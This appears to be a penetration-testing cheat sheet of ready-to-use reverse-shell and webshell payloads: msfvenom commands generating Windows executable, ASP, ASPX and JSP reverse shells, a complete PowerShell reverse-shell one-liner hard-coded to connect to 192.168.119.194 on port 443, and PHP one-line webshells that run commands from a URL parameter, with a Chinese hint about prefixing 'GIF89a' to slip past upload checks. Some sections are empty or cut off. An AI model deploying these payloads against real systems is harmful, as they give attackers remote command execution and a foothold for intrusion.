Windows - MSFVenom

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exemsfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe

Powershell

powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.119.194',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

ASP

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp

ASPX

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f aspx > shell.aspx

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp

WAR

0x03 简单的webshell

PHP

<?php echo passthru($_GET['cmd']); ?><?php echo shell_exec($_GET['cmd']); ?>

需在编写shell代码之前添加文本“GIF89a”。例如:
